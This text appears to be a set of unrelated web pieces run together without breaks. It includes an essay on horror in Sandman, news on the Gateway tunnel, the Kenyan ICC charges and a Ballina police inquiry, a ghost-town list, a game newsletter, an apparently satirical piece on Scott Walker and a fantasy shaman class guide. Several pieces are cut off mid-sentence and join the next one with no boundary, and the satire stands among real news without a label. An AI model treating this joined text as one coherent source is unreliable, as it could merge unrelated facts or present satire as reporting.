The apotheosis of any effective horror story is finality or death. In Sandman, the last three volumes, “World’s End,” “The Kindly Ones,” and “The Wake,” are meditations on the final nature of death but also the immortality of stories. In “World’s End” a group of travelers are stranded in, another horror trope, a strange inn. There, the stranded travelers tell tales to pass the time. The first story, “A Tale of Two Cities,” is clearly in the grand horror tradition of H.P. Lovecraft. In the story, a man who believes himself to be living in a world dreamed up by a slumbering city. The old Lovecraftian technique of a reality that exists just beneath the surface of the accepted reality is on full display, giving the reader a sense of chilling unease, the last story in World’s End (Cerements) focuses on the burial rituals of many diverse cultures allowing the reader to feel the inevitably of death.
The penultimate arc of Sandman, “The Kindly Ones,” explores literary horror traditions by combining the structure of an ancient Greek tragedy in the context of a modern graphic novel. The ancient Greek play writers were no stranger to visceral horror. One reading of Oedipus the King or the Bacchae and modern readers will understand where horror tradition stemmed from. From images of anatomical atrocity to tales of human suffering, the Greeks pretty much created many traditions that still endure in horror literature. In the Kindly Ones, we see modern comic book imagery (like casting the Three Witches of the Bronze Age DC horror titles in the role of the Greek chorus) and uses the classic literary monsters (the Kindly Ones, or the Furies) as the means of punishing Dream for his many transgressions, particularly the death of Orpheus.
The Kindly Ones appeared in the Oresteia as vengeful spirits that exist to destroy those who spilled familial blood. They play the same role in Sandman, horrific beasts that are forces of nature. Their existence is one of pure literary terror as they fulfill the role of the unstoppable creature that the protagonist cannot hope to survive. Their very existence speaks to a level of darkness in both literal and fictional reality, the all-consuming entropy that all must face. Throughout the Sandman series, Lyta Hall played a peripheral role, an obscure and almost forgotten super-hero, the Fury; Lyta blames Dream for the disappearance of her son, Daniel. Lyta, a being that once existed in the black and white world of super-heroes, lashes out at Dream for making her suffer the loss of her child. Through Lyta, Gaiman inserts a character that was not created to exist in a world of cosmic horrors. Her insertion into the dark story spells Dream’s end, as Lyta, the heroic Fury, summons the Kindly Ones, the literary Furies to devour their intended victim. Having spilled the blood of his only son, Dream is the right victim for the ancient horrors, and is devoured by the beasts. Soon, Dream is reborn in Lyta’s son Daniel, signaling the rebirth of Dream and a new beginning for the endless cycle of stories.
Sandman was many things; it was a balance between hope and horror, dreams and nightmares. It was an examination of how stories have potential to inspire or to scare, to carefully deconstruct the best the world has to offer or serve as a warning of the monsters that lurk in every shadow. As a celebration of story, Neil Gaiman and a host of brilliant artists offered readers all kinds of horrors, from the ancient Greek monsters, to devouring myths from every culture, to modern serial killers, to contemporary comic book horror hosts, Sandman cast its dark shadow throughout the entirety of the horror genre. Of course, Sandman was more than just a venue for scares; it was a loving tribute to the art of story and the nature of the subconscious, but horror was the glue that held the world of Sandman together.The Port Authority of NY and New Jersey will commit an additional $1.9 billion, the states said in a joint statement.
The announcement by New York Governor Andrew Cuomo and outgoing New Jersey Governor Chris Christie resolves questions about how the states would fulfill a promise to provide half of the funds toward the $12.7 billion Gateway Hudson Tunnel Project, among the country's largest infrastructure programs. NY will contribute $1.75 billion, NJ Transit $1.9 billion, and Port Authority, 1.9 billion towards the project.
"The commitments we make today mark a pivotal milestone in the construction of the Hudson River Tunnel Project, and builds on the work we began earlier this year with the early construction of the Portal North Bridge Project", Christie said in a news release.
A Wednesday letter from NJ Transit to the federal Department of Transportation outlines the plan, under which city rail commuters would pay a 90 cent per-trip surcharge to fund the tunnel project starting in 2020.
Gov. Chris Christie said New Jersey's $1.9 billion commitment, along with $1.75 billion from NY and $1.9 billion already committed by the Port Authority of NY and New Jersey Board of Commissioners, will allow the project to begin next year if the federal government kicks in its share. "It positions the project to immediately compete for federal Capital Investment Grant funds", Christie said. The cost would increase to $1.70 in 2028 and $2.20 in 2038, according to a letter to John Porcari, interim executive director of the Gateway Program Development Corp, from Steve Santoro, executive director of NJ Transit.
The financing plan was announced by New Jersey Gov.
The remaining 50 percent would be funded by the federal government.
"I'd like to know if there were alternatives that did not involve further fare hikes and, if so, why they were not pursued?"
The project calls for the construction of a new train tunnel and the fix of national rail company Amtrak's existing, century-old line between New York City and Newark, New Jersey, which officials have said could become unusable within the next decade.
NJ Transit has increased fares five times in recent years, including twice under Christie, a Republican who leaves office next month.There’s nothing more frightening to development nuts like us than a desolate ghost town. But these seven abandoned communities have enough creep-factor to send shivers up the spine of any casual observer.
Tianducheng, China
Development on this Paris clone began in 2007 with a 300-foot version of the Eiffel Tower, which is about a third of the size of the real thing. The luxurious gated community was supposed to accommodate at least 10,000 people, but today it remains sparsely populated. Why? Media outlets blame the development’s poor location, surrounded by farmland and dead-end roads. At last estimate, Tianducheng was home to as few as 2,000 residents.
San Zhi, Taiwan
Photo: Noelas/Flickr
This UFO-like pod village was supposed to be a luxury vacation retreat until the project was shut down following a number of fatal construction accidents. It sat empty for years before officials finally got around to demolishing the site in 2010.
Kolmanskop, Namibia
Photo: imgur
Kolmanskop is a ghost town in the middle of the Namib desert that was built during the Namibian diamond fever in the early 1900s. At one point the city included a casino, hospital and school, but after diamond sales dropped off following the First World War, the town was abandoned.
Namie, Japan
Photo: Google Street View
Residents of Namie were forced to flee in the wake of the 2011 earthquake and tsunami that crippled the nearby Fukushima Daiichi nuclear power plant. Back in March 2013, Namie mayor Tamotsu Baba invited Google to photograph and tour the deserted town with their Street View cars.
Kilamba New City, near Luanda, Angola
Photo: Wikipedia
Constructed on the outskirts of Angola’s capital city of Luanda, Kilamba New City consists of 750 eight-story apartment buildings, a dozen schools and more than 100 commercial buildings. But the development sits largely empty as the people who live in the nearby slums were never able to afford to move into the homes that were built for them.
Pripyat, Ukraine
Photo: Timm Suess/Flickr
Photo: СмdяСояd/Flickr
Photo: СмdяСояd/Flickr
Pripyat was abandoned on April 26th, 1986, after the nearby Chernobyl nuclear reactor exploded. Dozens of people were killed and all of Pripyat’s remaining 50,000 residents were forced to flee.
Centralia, Pennsylvania
Photo: CoolInterestingStuff
The small town of Centralia, Pennsylvania saw its population dwindle to virtually zero thanks to a mine fire that’s been burning beneath the town since 1962.What is the purpose of Remembrance day? Many will respond with words like, ‘peace’, ‘honor’, ‘respect’, ‘freedom’, and ‘sacrifice’. Although these are all accurate, I argue that the core of remembrance day is ‘duty’.
The concept of duty has become unpopular in an age defined by freethinking, self-expression, and individual economic pursuits. Actually, type ‘duty’ into Google image-search and you’ll quickly realize we’ve turned it into a game: ‘Call of Duty’. In our modern age, we’ve lost a sense of collectivity that was built into traditional institutions such religious communities. Although this increasingly individualistic environment characterizes civilian life as a whole, the culture of the military remains highly collectivist, placing duty and service as its highest ideals.
Remembering duty is about remembering our social commitment to causes larger than ourselves. This core sentiment characterizing military-life makes us our best and most passionate selves. In War, Sebastian Junger writes:
“Civilians balk at recognizing that one of the most traumatic things about combat is having to give it up… to a combat vet, the civilian world can seem frivolous and dull, with very little at stake…. These hillsides of loose shale and holly trees are where the men feel not most alive… the most utilized. The most necessary. The most clear and certain and purposeful. If young men could get that feeling at home, no one would ever want to go to war again…”
We must remember duty in order to remember our own humanity. This ‘humanity’ is the part of us that longs to belong to a cause greater then ourselves; the part of ourselves that requires a meaningful sense of direction; the part of ourselves that is capable of giving up our own self-interest for another. We remember those who fought because of their incredible sense of duty; but we must also remember this sense of duty in ourselves in civilian-life, lest we forget out own humanity.This is the third edition of The Kramora Times, you favorite and more reliable source for all Ananias-related information. You can now subscribe to receive this newsletter in your email too!
Ananias Version 1.75 released!
It’s been two months since the last release! We are yet one step closer to Steam and iOS. Almost there. Thanks to all the testers who checked the RC versions, it was very helpful!
Gameplay
Add about 77 new weapon types
New reloading mechanics for bows (Can only load one arrow at a time, quick reloading by passing turn). Also applies for new ranged weapon types (crossbows and slings).
Add Dagger, Whip, Scythe, Sling, Crossbow weapon types
Prevent wand and liquid ammo from being parried
Change starting equipment for Hunter (bow and sword)
Add item modifiers (Fire and Smite Undead)
Make most classes start with a befriend monster spell
Give evolve potion on level 5
Allow throwing pebbles
Change number of enemies per level (independent of depth)
Force enemies to load weapons if needed
User Experience
Add keyboard command to toogle inventory
Allow continuous keyboard movement
Don’t show running indicator if cannot use running skills
Prevent minimap from getting on the gameplay area
Enhance select target message
Plans for the future
I continue getting close to the Steam and iOS release. This is the status of the same items I talked about on Kramora Times # 2
Adding more items The lack of graphics for the detailed views of all items has prevent me from adding all of them. I have decided I won’t let that stop me, so for the items for which I don’t have a zoomed graphic, I’ll just use the normal “paperdoll” graphic. It may be won’t look very professional at first, but in time I might get the resources to add these missing graphics.
Done! I added the weapons… still wish I had zoomed/detailed graphics for all of them, hope if I’ll be able to get them before the next version?
I have been thinking on adding a bit more to the plot / story. Still haven’t thought on the details. I’ve made up some sparse bits of lore, so may be I can use that as a starting point for the world. As for the player experience inside the game, I may include some recurring characters with semi-random events. Again, still haven’t thought it out.
No advancement here.
The game is clearly not meant to be played using the keyboard now. There’s a rudimentary support for movement but it’s pretty slow. Also, there are no keyboard shortcuts neither support for the menus or inventory.
I think I’m done for keyboard, at least for the initial Steam release, the game will be played with keyboard for movement (already works now) and mouse for the menus and targeting.
If I go on to support consoles in the future, I’d had to work further on this so that mouse is not needed at all. No easy task!
Allow sneaking past enemies if you are stealthy: Monsters won’t always notice you when you step into the room.
Shareable character dead page including conducts
Enhance the crafting system
Unique (active) skills per class
Add Berserk Tactics
Still pending and still planned.
Comic Con Medellin 2016
Thanks again to Gamers and Geeks, I was able to have a small spot at Comic Con Colombia 2016, along with some other Indie Devs from Medellin!
Lots of people got to play the game, and we also had some merchandise (shirts and stickers) which people liked quite a lot. I still gotta put on the official online store on the website.
Dumeril Sage Statues
Still haven’t managed to push forward the development of these. It’s been a busy month! We will have about 4 new pieces available by the end of week. I’ll be doing these by request from the online store, soon!
itch.io summer sale and more
We had a summer sale over itch.io from June 24 to July 8 with a 50% discount. Thanks to all who contributed, every dollar counts towards finishing the game in an awesome way!
I also updated the itch.io page for Ananias so it looks a bit better now, I think the platform has evolved quite a bit since I first submitted the game there 🙂
New trailer
Sadly no advancement on this! I discussed some ideas with the artists but have failed to create the script for it so there’s little advancement.It’s nearly impossible for me to have any allegiances. I’ve never felt any sort of drive or pull to be identified as someone from some place. Although I certainly can go on and on about what, where, and with whom I don’t want to be associated |
with Heaney’s two sons and two of his brothers among the pallbearers. An austere funeral, with a single spray of white flowers on the coffin.
All of this, too, seemed to match Heaney’s poetry—so often private in family poems, but public in poems about the torment in the North; so often opulent in language (like the Biblical readings), so often plain (like the parables). Heaney spoke often about poetry, but his most memorable gloss on the function of poetry in public life comes from the account in the Gospel of John of the woman taken in adultery. When the crowd is about to take up stones to kill her, Jesus intervenes in a strange way: without saying a word, Jesus bends and with a finger writes something (never identified) on the ground. For Heaney, that gesture resembles the intervention that poetry, too, can make. A pause inserted in the violence that redefines the situation: violence is silently averted and, as Jesus then says, “Let him who is without sin cast the first stone,” the scribes and Pharisees, “convicted by their own conscience,” depart, one by one. Heaney comments, in an essay called “The Government of the Tongue”:
The drawing of those characters [by Jesus] is like poetry, a break with the usual life but not an absconding from it. Poetry, like the writing, is arbitrary.... it does not propose to be instrumental or effective. Instead, in the rift between what is going to happen and whatever we would wish to happen, poetry holds attention for a space, functions not as distraction but as pure concentration, a focus where our power to concentrate is concentrated back on ourselves.
Heaney’s remarks on poetry often draw the contrast between art and propaganda, but at least as often they insist that the motive of creation is joy in the play with language and rhythm. With Mandelstam, he believed that any achieved poem is a symbol of free will. The Eastern European poets writing out of a coercive political environment—especially Czesław Miłosz—heartened him in his central resolve to hew to the law of poetry, not to the law of political statement. But his clusters of constellated words became—in their exemplary refusal to coarsen morality—a political force nonetheless.
“My last things will be first things slipping from me,” he wrote in “Mint.” He chose to be buried in the North, near the graves of his mother and father in a country churchyard. Posterity will take care of the poetry.
Helen Vendler is the A. Kingsley Porter University Professor at Harvard University and the author, most recently, of Dickinson: Selected Poems and Commentaries (Belknap Press). She is a contributing editor at The New Republic.February 6, 2013
Albemarle County supervisor Chris Dumler was met with calls for his resignation at his first board meeting since pleading guilty to sexual battery last week, but Dumler says he's still "fully committed to the job."
After an emotionally-charged proposal by Duane Snow, supervisors voted 3 to 2 to support a resolution asking Dumler to step down from office.
"It is wrong to have a convicted sexual molester of women sitting on this board. It sends the wrong message to the youth and law-abiding citizens of this county. I strongly believe it is a slap in the face to the victims who've had the courage to come forward," Snow told the board. "Mr. Dumler's continued presence on this board of supervisors will be a constant reminder to our wives, mothers, daughters and to ourselves of the sexual abuse that was inflicted upon these women."
Rodney Thomas and Ken Boyd sided with Snow's resolution. Ann Mallek and Dennis Rooker opposed.
Mallek and Rooker said they did not support asking Dumler to remove himself from the board because they said that's a decision for voters in the Scottsville district.
Dumler abstained from voting on the resolution but says he wants to keep his seat because there is still more work to be done.
"I hope that we can put politics behind us," Dumler told the Newsplex. "I gave a public apology as part of my guilty plea and it's my hope that we can move forward and actually get back to the business of the people."
But former members of the board say that won't be easy. Peter Way and Forrest Marshall, who spent a combined 18 years as supervisors themselves, are also asking Dumler to step down. They say Dumler's reputation is too damaged to represent the people of his district.
"He's a young man. He has so much going for him. He could have been a wonderful, wonderful example for our young people, but that's destroyed now," said Way.
Marshall added, "If he's smart, he'll go ahead and resign now and let us get somebody down there that's willing to represent the county."
A second motion to censure Dumler was received with unanimous support among supervisors.
Ann Mallek made that proposal saying, "Mr. Dumler has admitted guilt and has plead guilty to a serious crime that no one on this board condones." She went on to say, "The purpose of the censure is to affirm, on the record, our disapproval of his behavior and to admonish him for the discredit that his actions have brought to this board."
Dumler abstained from voting but called it "an appropriate vote of disapproval."VN:F [1.9.22_1171]
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The Windows 8 marketing campaign has begun, with that tile based user interface (UI) creeping into social consciousness quicker than any operating system (OS) ever before. This is of course in part thanks to the adoption of the UI by Windows Phone 7 and Xbox 360, but it’s also due to the backing of many socially aware brands, the latest of which is videogames giant Atari.
Atari may not be the company it once was, but the brand remains as strong as ever. The next step in that Windows 8 campaign is to showcase just how well the OS can deliver videogame experiences via tablet devices, with Atari showcasing their retro catalogue playable directly through the touch interface. The likes of Asteroid, Missile Command, Super Breakout and the classic Pong are showcased as a comparison to their original cartridge releases. This is likely to be the first of many Windows 8 trailers aimed at 30-something gamers and Electronic Theatre will be sure to keep you updated with all the latest details.
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Related Posts:Earlier this month, the Balkan country’s top defence body approved a U.S. proposal to include Romania in a system it said aimed at providing defence against attack by ballistic missile or mid-range rockets. The move angered Russia, eastern Europe’s former Cold War master.
"The talks will probably take a year and a half. They concern deploying 20 interceptor devices at different locations in Romania," Baconschi told a news conference in Sofia after meeting his Bulgarian counterpart Nikolai Mladenov.
Bulgarian Prime Minister Boiko Borisov has said Washington will also hold preliminary talks with his government on hosting parts, adding Sofia should show solidarity to the collective European security.
U.S. President Barack Obama has revamped the U.S. missile defence approach since he scrapped a Bush-era plan for a radar site and interceptor rockets in the Czech Republic and Poland.
Washington says the plan was not aimed at Russia but instead focused on countries such as Iran. But Moscow sees it as a threat to its own nuclear arsenal and has bristled at what it sees as U.S. meddling in its sphere of influence.
Most of Eastern Europe was part of the Moscow-led Warsaw Pact during the Cold War.
Bulgaria’s Mladenov said he believed talks to host elements of the U.S. shield would be held in the coming months and years with many countries.Reading on your iPad, surfing the web on your laptop and watching TV late into the night might not only be bad for your sleep -- it could also be bad for your mental health, according to a new study in mice.
Researchers from Johns Hopkins University found that being exposed to bright lights for long periods of time -- whether it's from a screen, or even from just having the lights on in your bedroom or in the office if you're doing shift work -- is linked with higher levels of the stress hormone cortisol, which could eventually lead to problems with brain functioning and even depression.
The study, published in the journal Nature, was conducted in mice, but researchers said that the findings still apply to humans because mice and humans are similar in important ways -- one being that both have light-activated cells (called intrinsically photosensitive retinal ganglion cells) in the eyes, which are known to impact the brain regions responsible for mood and memory.
"In addition, in this study, we make reference to previous studies on humans, which show that light does, indeed, impact the human brain's limbic system. And the same pathways are in place in mice," study researcher Samer Hattar, a biology professor at Johns Hopkins, said in a statement.
The study involved exposing mice to a cycle of 3.5 hours of light, and then 3.5 hours of dark. Past studies showed that this sort of light-dark cycling doesn't affect the mice's sleep -- but the new study did show that it resulted in behaviors indicative of depression.
"Of course, you can't ask mice how they feel, but we did see an increase in depression-like behaviors, including a lack of interest in sugar or pleasure seeking, and the study mice moved around far less during some of the tests we did," Hattar said in the statement. "They also clearly did not learn as quickly or remember tasks as well. They were not as interested in novel objects as were mice on a regular light-darkness cycle schedule."
A similar study, conducted by Ohio State University researchers and published earlier this year in the journal Molecular Psychiatry, also showed a link between light at night and symptoms of depression in hamsters.
Light at night has been linked with other health problems in past research. The American Medical Association has even officially recognized light at night's link with cancer, disrupted sleep and dangerous driving, MyHealthNewsDaily reported.Published on
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OVERWERK is a Canadian producer & songwriter from London, Ontario. He is becoming very well known in our area and today we'd like to share with you his latest song, House, featuring Nick Nikon. Please give a warm welcome to both of them!
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http://www.monstercat.com/storePolice Integrity Commission finds officers lied about Ballina bashing
Updated
Six police officers could face charges over the arrest and assault of an Aboriginal man on the New South Wales north coast more than two years ago.
Corey Barker and a number of friends clashed with police while walking to a hotel at Ballina in January of 2011.
The 23-year-old was arrested and taken to the Ballina Police Station.
The arresting officers alleged he punched one of them in the nose.
Those charges were later dropped when restored CCTV footage showed it was Mr Barker who was bashed.
The Police Integrity Commission has found six police officers lied about the incident.
Findings tabled in State Parliament today recommended consideration be given to prosecuting them with charges including fabricating false evidence, perjury and assault.
Two other officers who gave evidence were cleared by the commission.
Lost faith in police
Corey Barker says he was ecstatic when he heard the findings of the inquiry.
He says he was determined to seek justice.
"I had no other choice," he said.
"I had just started a beautiful career in the construction industry and I had brothers finishing school and graduating and just so much of my life happening that I couldn't afford to lose over something I didn't do.
"I was going to lose that if I just took it on the chin. I was going to lose all those opportunities that had been handed to me and that I had worked so hard to achieve."
Corey Barker's mother says she is concerned some of the officers involved in the case are still on the force.
Four of the officers are on restricted duty, one has been suspended and another has been medically discharged.
Mr Barker's mother, Angelique Sines, says placing the officers on restricted duties is not enough.
"It disheartens me a little bit to know that those officers are still on the force and that's something that just irks me a little bit," she said.
"I'm not a spiteful person and neither is my family.
"It's just more about justice and something being done about the police officers."
Ms Sines says she no longer feels safe going out at night by herself.
"I don't drive around at night on my own anymore. I always make sure someone is with me in the car," she said.
"I get worried about getting pulled over and maybe someone that pulls me up is gonna be someone else that knows one of those guys, you know.
"That's the truth of it. And I shouldn't feel like that. I should feel like, if someone was prowling around my house that I can go, Ballina Police can come and help me.
"I don't feel like that anymore."
Topics: police, courts-and-trials, ballina-2478, lismore-2480, sydney-2000
First postedEDGEWATER — To most, the concrete slab sitting at the end of an alcove outside the Edgewater Beach Apartments looks ordinary, but to at least one group, it's legendary — worthy of city landmark status, even.
Edgewater Beachwalk, a group of residents who advocate for the neighborhood's parks and historical features, wants to see the last remaining North Side portion of a sea wall from 1934 saved by city officials.
The nonprofit said they want Ald. Harry Osterman's office to request to the City Landmarks Commission to save the portion of the wall, which 82 years ago served as the protector between Lake Michigan and Edgewater's shores.
Today, the sea wall looks far from significant: At the base of the pink Edgewater Beach Apartments, 5555 N. Sheridan Road, it sits, partially serving as a barrier for a small dead end street, but mostly completely innocuous to those passing by.
The sea wall marks a boundary of the Bryn Mawr Historic District. [DNAinfo/Linze Rice]
Most people are unaware of the partition's significance. It sits at the end of a dead end street near Lake Shore Drive. [DNAinfo/Linze Rice]
But until the mid-1950s, its presence was essential.
Old aerial photos and postcards show how the shoreline used to swerve in between Foster and Bryn Mawr, hugging the side of the Edgewater Beach Apartments — right where the last piece of the sea wall stands today, marking the beginning of the Bryn Mawr Historic District.
Before 1950, Lake Shore Drive's northernmost exit was at Foster Avenue, just south of the famous hotel.
But during that decade, it was expanded first north to Bryn Mawr Avenue, where the sea wall and the Edgewater Beach Apartments sit, before being completed at Hollywood Avenue in 1958.
In fact, it was Lake Shore Drive's expansion through what was once the hotel's private beach that helped eventually lead to the building's downfall.
Walking under the overpass now at Lake Shore Drive and Bryn Mawr Avenue, a sparkling tiled collage displays colorful mosaics along side bits and pieces of the neighborhood's history — including a plaque from when the drive was built in 1954.
Osterman was not available for comment.
A plaque under the Lake Shore Drive overpass at Bryn Mawr Avenue from when the drive was expanded in 1954. [DNAinfo/Linze Rice]
A graphic from the Edgewater Historical Society shows how the shoreline between Foster and Bryn Mawr Avenues changed between 1916 and 1971. [DNAinfo/Linze Rice]
For more neighborhood news, listen to DNAinfo Radio here:Media playback is unsupported on your device Media caption Archive footage shows Kenyan violence in 2007
Two presidential candidates in Kenya are to stand trial over crimes against humanity following post-election violence in 2007, the International Criminal Court (ICC) has ruled.
Finance Minister Uhuru Kenyatta and former minister William Ruto will both face charges.
They are among four prominent Kenyans - all of whom deny the accusations - who will stand trial.
Kenya's president has appealed for people to stay calm after the news.
"Our great nation has had its share of challenging times," Mwai Kibaki said in a statement.
Mr Kenyatta - son of Kenya's founding President Jomo Kenyatta and a man who has been ranked as one of its richest citizens - is to stand trial with cabinet secretary Francis Muthaura.
The pair, both allies of President Kibaki, are accused of crimes against humanity, including murder and persecution.
Mr Kenyatta wrote on his Facebook page: "My conscience is clear, has been clear and will always remain clear that I am innocent of all the accusations that have been levelled against me."
Former Education Minister William Ruto and radio presenter Joshua arap Sang will stand trial in a separate case, as they opposed Mr Kibaki during the 2007 election. Charges against a further two officials were not confirmed by the Hague court.
More than 1,200 people were killed in weeks of unrest in 2007-8 and some 600,000 people were forced to flee their homes. Many still remain homeless.
'Break with impunity'
Analysis This decision will have a great bearing on the future of Kenyan politics. Among the four now set to stand trial are two men who want to stand for president in the next elections: a suspended minister, William Ruto, and Uhuru Kenyatta - the son of the country's first president and the current deputy prime minister. Last week, Mr Kenyatta told the BBC that he intended to pursue his political ambitions irrespective of whether the International Criminal Court trial went ahead. The pressure may grow on Mr Kenyatta to change his mind and put his political ambitions on hold - to clear his name in court and then, if successful, come back in another five years. With appeals possible, it may be months before the trials begin. Kenya has had a history of violent elections. But no-one has ever been punished. Many Kenyans hope the ICC trials will help to end the culture of impunity and ensure future elections are more peaceful.
The violence began as clashes between supporters of the two rival presidential candidates - Raila Odinga and Mr Kibaki - but it snowballed into a bloody round of score-settling and communal violence.
"It is our utmost desire that the decisions issued by this chamber today bring peace to the people of the Republic of Kenya and prevent any sort of hostilities," ICC presiding judge Ekaterina Trendafilova said.
Kenyans are due to head to the polls in fresh elections early next year.
Ms Trendafilova stressed that the decisions do not mean guilty verdicts against the suspects, only that there is sufficient evidence to send them to trial.
"We are not passing judgment on the guilt or innocence of the individuals," she said before a public hearing held in The Hague.
No date has been set for the trials.
The news of the trials was welcomed by international campaign group Human Rights Watch.
"The ICC trials will break with decades of impunity in Kenya for political violence," the group said in a statement.
"But Kenya should act to widen accountability by carrying out prosecutions at home."
I am firmly still in the presidential race, the charges confirmed against me will not affect it William Ruto
In Kenya itself, there was a mixed reaction to the announcement, according to the BBC's Muliro Telewa, in the Rift Valley town of Burnt Forest, the scene of one of the worst atrocities during the violence.
He said people in the town - where dozens died when a church where people had fled was set on fire - had gathered around radios in public places to listen to the ICC announcement.
Some, he said, saw the process at The Hague as political, while others were glad that justice was being done.
'Big disappointment'
Chief prosecutor Luis Moreno-Ocampo had asked to bring two separate cases, reflecting the political and ethnic divisions behind Kenya's post-election violence.
Mr Kenyatta is accused of organising a campaign of violence including murder and rape members of ethnic groups seen as supporters of Mr Odinga.
Kenya's troubled politics December 2007 : Violence explodes after disputed poll. 1,200 people killed, thousands displaced by fighting.
: Violence explodes after disputed poll. 1,200 people killed, thousands displaced by fighting. April 2008 : Power-sharing deal is signed
: Power-sharing deal is signed November 2009 : ICC chief prosecutor says will seek to investigate post-poll violence
: ICC chief prosecutor says will seek to investigate post-poll violence August 2010 : New Kenyan constitution agreed
: New Kenyan constitution agreed December 2010 : ICC names suspects
: ICC names suspects May 2011 : ICC rejects Kenya's bid to halt election probe
: ICC rejects Kenya's bid to halt election probe January 2012: ICC confirms charges against four suspects Q&A: International Criminal Court Orphaned by Kenya poll violence
Prosecutors say he met members of a secretive criminal organisation known as the Mungiki at a shopping centre in Nairobi before the election in 2007 to plan some of the attacks.
He denied the accusation at a preliminary hearing at the ICC last September.
Mr Kenyatta is hoping to stand in next year's presidential poll, with analysts suggesting that he has a realistic chance of winning.
Mr Ruto, a former education minister, described the charges against him as "strange" and emphasised that he still intended to put himself forward for the presidency.
"I am firmly still in the presidential race; the charges confirmed against me will not affect it," Mr Ruto said from Nairobi.
He and Mr Sang backed Mr Odinga in 2007 and are accused of organising attacks on members of ethnic groups seen as Kibaki supporters.
Mr Sang said the news of the trial had come as a "big disappointment" but said he would contest the charges.
Kenya's government has been lobbying for the cases to be dropped - a position endorsed last year by the African Union.
Mr Kibaki was eventually declared the winner of the 2007 election, and is serving his second and final term as president.
Mr Odinga was installed as prime minister under a power-sharing deal brokered by Kofi Annan to end the violence.
Mr Ruto and Mr Odinga have since fallen out and are expected to face each in the elections.URBANDALE, IA—Saying it was important that the candidate have a distinctive, relatable look, campaign consultant Brian Sims reportedly presented Republican presidential hopeful Scott Walker with several possible human sides to choose from Wednesday.
During the strategy session at Walker’s Iowa campaign headquarters, the Wisconsin governor reportedly tried on an assortment of potential humanizing identities, from several “salt-of-the-earth family man” personas to a more daring “independent-minded maverick” option, in an effort to find a well-fitting human side that the candidate could put on for the remainder of his campaign.
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“Why don’t you give this ‘up-from-the-bottom Midwesterner who values hard work above all else’ personality a shot and see how that feels,” said Sims, who encouraged Walker to carefully consider all his options before selecting one of the identities, noting how important it was to find one that was not only attractive, but also durable enough to hold up to everyday wear for the next eight to 16 months. “Remember, you’re going to be putting this on every single time you walk out the door. The last thing you want is to get onstage in a persona you don’t feel comfortable in.”
“I think ‘straight-talking man of the people’ could work. Yeah, how about we try that out at the steel plant tour tomorrow and see how it suits you?”
“We can always make some small alterations to the bravado or compassion here and there if that feels a little better to you,” Sims added. “Don’t forget, this is the first thing people will see, so let’s make sure it’s just right.”
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During the session, Sims reportedly helped Walker into several variations of “the straight shooter who can’t help but say what’s on his mind,” as well as a number of “moralistic man of faith” picks, providing frank feedback to the candidate on how each looked. At one point, sources said, Sims discarded a more colorful “quick-witted charmer” persona immediately after realizing it was a terrible fit on the 47-year-old governor.
According to reports, Walker began to grow tired and irritated by mid-afternoon after trying on several dozen identities and finding nothing that “really popped.” However, sources indicated that Sims was able to bring the session back on track by reminding the high-ranking candidate that it would be a disaster if he went out there as he was without any humanizing facade at all.
“Oh, I think this one would be great on you; it’s got a sturdy Middle America sensibility, an appreciation of life’s everyday pleasures, and a vocal love of the Green Bay Packers,” said Sims, pointing out a simple but elegant “Washington outsider who’s stayed true to his small-town roots” personality. “It would pair really well with an air of down-home innocence, too. Boy, that would look great for going out to a county fair or a high school gym, but I think it’s even formal enough that you wouldn’t look out of place at a $10,000-a-plate fundraiser.”
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“I’d also recommend the ‘forward-looking optimist with youthful energy’ for you, but Marco Rubio has been wearing one exactly like that,” he added. “The last thing you’d want is to show up to a debate in the same persona as him.”
As the day progressed, Sims reportedly warned Walker that, while he may be able to mix and match several humanizing sides into a single complex ensemble, selecting an identity that was made up of too many pieces would likely be too much for the governor to pull off.
“We’re probably not going to be able to do anything in the ‘humble public servant’ look—that just doesn’t work for you,” said Sims, who insisted that Walker would be unable to fit into an underdog persona the candidate had wanted to try. “But I think ‘straight-talking man of the people’ could work. Yeah, how about we try that out at the steel plant tour tomorrow and see how it suits you?”
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“That was actually the same identity Rick Perry had on during the 2012 primaries, but I think it looks more natural on you,” Sims continued. “We can just trim off the southern drawl and it’ll fit perfectly.”
At press time, Sims was growing frustrated upon realizing that none of the human sides Walker had tried on had effectively hidden his unsightly intellect.The tome of the shaman A guide to the spiritual guides of tyr.
Shaman An old frail orc sits amongst a pack of warriors. A scene that is normally out of place for a race that values strength above all things. However his place becomes clear as the stones rise to his command. The gates of the fort are meaningless as the now towering earthen behemoth that used to be the frail old man bashes the gate to splinters. The defenders planned siege all but ruined in the face on this old orc, his strength and then further cunning sealing their fate. Dieing from a nigh incurable illness a red kobold sits alone in a cave his brethren leaving him for fear of spreading the infection. He begs for anyone to help him, unbenounced to him someone is listening. The long dead spirit of a red dragon his ages lost ancestor takes pity on him. He feels a warmth build in his lungs, soon painful, almost unbearable he can barely think let alone breath and then he exhales. All the pain, sickness and fear leaves him all at once as a jet of flame sears the surrounding stone black as coal. A shaman is born. Learning and Wisdom Spirits of the long dead are a subtle but powerful source of knowledge and wisdom. Lifetimes of lessons learned and insight on the world's workings. Shaman seek all this and more, acting as sponges for even the tiniest insight. Shaman understand that people, animals, magical creatures and even places have manafest spirits with lessons to teach. You but need to learn to listen. They can harness this knowledge to lead their tribes, teaching them as they have been or using these lessons to manifest supernatural powers at the behest of those same spirits. One could get lightning to lash the desired target by simply asking the spirit of wind or for the spirits of the forest to lash out by manipulating their rage. While they excel at helping the party as a whole using their ability to cast supportive spells they differ from other supportive classes by being poor healers in the conventional sense. Rather focusing on maintaining abilities like haste or enhance ability then either gumming up the battlefield for their opposition or destroying them from afar. Combining that with their expertise in a skill, potent natural information gathering skills and ability to maintain two concentration spells at a time using totems to produce a somewhat unique form of support. Forever a student A shaman may start due to a galvanizing moment in their life like interacting with a spirit or another shaman, however a true spiritual leader of a people is not made in an evening. The truth of the matter is that a young shaman often has to set out on a pilgrimage to learn the lessons he needs to help lead. Even truer than that is many do not return, those who do may not return for years even decades. Those few who do return easily become the wisest of the tribe and prove a core part to its long term survival. They always learn that you never stop learning and that it's always best to listen carefully, becoming master students as well as teachers.
